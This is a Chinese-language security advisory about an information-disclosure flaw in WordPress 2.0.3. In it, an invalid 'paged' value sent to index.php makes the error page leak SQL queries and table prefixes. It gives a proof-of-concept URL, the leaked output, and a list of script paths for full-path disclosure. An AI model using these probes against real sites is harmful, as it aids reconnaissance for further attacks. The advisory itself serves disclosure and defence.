发布日期：2006-07-03
更新日期：2006-07-06

受影响系统：

WordPress WordPress 2.0.3

描述：

---

BUGTRAQ  ID: 18779

WordPress是一款免费的论坛Blog系统。

WordPress对错误请求的处理上存在漏洞，远程攻击者可能利用此漏洞获取服务器返回的包含SQL操作命令的敏感信息，可能有助于其进一步攻击。

如果攻击者向index.php传送了无效的paged参数的话，WordPress在返回的错误信息中会泄漏执行当前操作失败时的SQL命令，其中包含数据库表名前缀等敏感信息。

<*来源：zero （xzerox@linuxmail.org）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115194716107794&w=2
        http://secunia.com/advisories/20928/print/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://localhost/wordpress/index.php?paged=-1

结果：

WordPress database error: [Erreur de syntaxe pr?s de '-20, 10' ? la ligne 1]
SELECT DISTINCT * FROM wp_posts WHERE 1=1 AND post_date_gmt <= '2006-06-29 12:46:59' \
AND (post_status = "publish") AND post_status != "attachment" GROUP BY wp_posts.ID \
ORDER BY post_date DESC LIMIT -20, 10

~ Full path ~

/wp-settings.php
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-link-form.php
/wp-admin/edit-page-form.php
/wp-admin/menu.php
/wp-admin/menu-header.php
/wp-admin/upgrade-functions.php
/wp-admin/upgrade-schema.php
/wp-admin/import/blogger.php
/wp-admin/import/dotclear.php
/wp-admin/import/livejournal.php
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/textpattern.php
/wp-content/plugins/hello.php
/wp-content/plugins/wp-db-backup.php
/wp-content/plugins/akismet/akismet.php
/wp-content/themes/classic/index.php
/wp-content/themes/classic/comments.php
/wp-content/themes/classic/comments-popup.php
/wp-content/themes/classic/footer.php
/wp-content/themes/classic/header.php
/wp-content/themes/classic/sidebar.php
/wp-content/themes/default/index.php
/wp-content/themes/default/404.php
/wp-content/themes/default/archive.php
/wp-content/themes/default/archives.php
/wp-content/themes/default/attachment.php
/wp-content/themes/default/comments-popup.php
/wp-content/themes/default/footer.php
/wp-content/themes/default/functions.php
/wp-content/themes/default/header.php
/wp-content/themes/default/links.php
/wp-content/themes/default/page.php
/wp-content/themes/default/search.php
/wp-content/themes/default/searchform.php
/wp-content/themes/default/sidebar.php
/wp-content/themes/default/single.php
/wp-includes/default-filters.php
/wp-includes/kses.php
/wp-includes/locale.php
/wp-includes/rss-functions.php
/wp-includes/template-loader.php
/wp-includes/vars.php
/wp-includes/wp-db.php

建议：

---

厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://wordpress.org/

浏览次数：3511
严重程度：0（网友投票）